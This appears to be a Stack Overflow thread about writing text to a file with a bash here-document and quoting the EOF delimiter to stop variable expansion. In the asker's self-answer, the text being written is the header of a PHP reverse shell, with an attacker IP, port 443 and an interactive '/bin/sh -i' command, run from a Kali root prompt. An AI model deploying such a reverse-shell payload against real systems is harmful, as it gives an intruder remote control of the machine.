1

I am trying to take a random selection from my script and cat it into a new file in /tmp/test.php file for ex. But it won't create a file. I thought using EOF would select what I need and process it, but it seems to not work.

#!/bin/bash

cat /tmp/test.php << \EOF

<?php
test, you are awesome, haha.
test 2, this is some php, not finished,.
?> 
EOF

echo script continues 
....
....
Continues
etc

Now I should be able to go to tmp and see my test.php Something I am doing wrong

agc
  • 7,973
  • 2
  • 29
  • 50
P_n
  • 940
  • 2
  • 11
  • 25

3 Answers3

3

This works:

cat > /tmp/test.php << EOF

<?php 
test, you are awesome, haha.
test 2, this is some php, not finished,.
?> 
EOF

Notes:

  1. Use << EOF, not << \EOF.
  2. Use cat > /tmp/text.php, not cat /tmp/text.php
agc
  • 7,973
  • 2
  • 29
  • 50
  • 1
    Try with `$something` in the here-doc, and you'll see that `EOF` should be escaped. – Benjamin W. Aug 04 '17 at 21:24
  • @BenjaminW., Thanks, I didn't know that. However, on testing it, it seems like the `\EOF` is the less general usage since including the value of a variable in a *here document* could be intentional, and printing a variable name can be done without `\EOF` on an *ad hoc* basis, *e.g.* `\$PATH was set to $PATH`. The best use of `\EOF` seems to be as shorthand when a *here document* contains more variable names (which shouldn't be interepreted) than variable values. – agc Aug 05 '17 at 03:58
  • 1
    I don't know about more or less general; if you know you want everything in the here-doc verbatim, you can escape the marker instead of escaping everything in the here-doc, and if you want some things expanded, you don't escape the the delimiter and make sure you escape properly in the here-doc. Whatever is most convenient. I was just pointing out that it should be escaped because in the extended example given in the self-answer, there were variables that should *not* be expanded. – Benjamin W. Aug 05 '17 at 04:50
  • @BenjaminW., Your reference to "*the extended example given in the self-answer*" clears things up. I'd been referencing only the OP's original question, (which had no variables in the *here document*), and wasn't aware of [Petr's answer](https://stackoverflow.com/a/45515533/6136214) until you cited it. – agc Aug 05 '17 at 05:50
0

You should try sed or awk tools for cutting text from file, specially if you would like to get from 10 lines to 20 lines. As I know cat command the only open program or the browsing.

You can specify two regular expressions as the range. Assuming a "#" starts a comment, you can search for a keyword, remove all comments until you see the second keyword. In this case the two keywords are "start" and "stop:"

sed '/start/,/stop/ s/#.*//

You can get more about using sed editor on the linux command line here

0

So that works, almost :) When I use the cat > /tmp/test.php << EOF for ex.

cat > /tmp/shell.php << EOF

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.11.0.100';  // CHANGE THIS
$port = 443;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
EOF

The output looks like this:

<?php

set_time_limit (0);
 = "1.0";
 = '10.11.0.100';  // CHANGE THIS
 = 443;       // CHANGE THIS
 = 1400;
 = null;
 = null;
 = 'uname -a; w; id; /bin/sh -i';
 = 0;
 = 0;

And terminal gives me:

 root@kali:~/My_Scripts# ./shell_pipe.bs 
./shell_pipe.bs: line 21: //: Is a directory
./shell_pipe.bs: line 22: //: Is a directory
./shell_pipe.bs: line 23: //: Is a directory
./shell_pipe.bs: line 25: //: Is a directory
./shell_pipe.bs: line 26: //: Is a directory
./shell_pipe.bs: line 27: syntax error near unexpected token `'pcntl_fork''
./shell_pipe.bs: line 27: `if (function_exists('pcntl_fork')) {'

EDIT, for the shell:

cat > /root/Desktop/shell.php <<'EOF'

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '$i';  // CHANGE THIS
$port = 443;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
EOF
//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
P_n
  • 940
  • 2
  • 11
  • 25
  • 1
    You have to quote the EOF marker to prevent interpolation: `'EOF'`. This has literally been asked about twenty minutes ago at https://stackoverflow.com/questions/45514670/bash-script-create-script-variable ;) – Benjamin W. Aug 04 '17 at 21:17
  • So this seems to work well, it does copy everything I need. But still get an error in terminal. Not sure why is it complaining. I have some directories such as: // after the EOF ends, bellow it, and thats the error – P_n Aug 04 '17 at 21:29
  • What's in `shell_pipe.bs`? – Benjamin W. Aug 04 '17 at 21:34
  • So I post it in my answer as an edit. it basically complains about the php directories or comment sections you could say //, //, // – P_n Aug 04 '17 at 21:43
  • This write what you have in the here-doc to a file, but the rest (the `//` commented lines) are interpreted by Bash and not seen as comments; Bash comments begin with `#`. I don't fully understand what you're trying, though, and you should edit the question instead of posting an answer you know doesn't work. – Benjamin W. Aug 04 '17 at 21:46
  • Im trying to cat a PHP shell into a file in /tmp folder, that PHP shell is in my bash script, instead of having in 2 different files. If I select the whole php shell with EOF it works great, so I think I got that resolved. :) Now Im trying to assign variable inside EOF, it wont work unless I remove the brackets. And if I do that it won't cat it right. But I am trying to find the answer for this in a different topic :) – P_n Aug 04 '17 at 21:52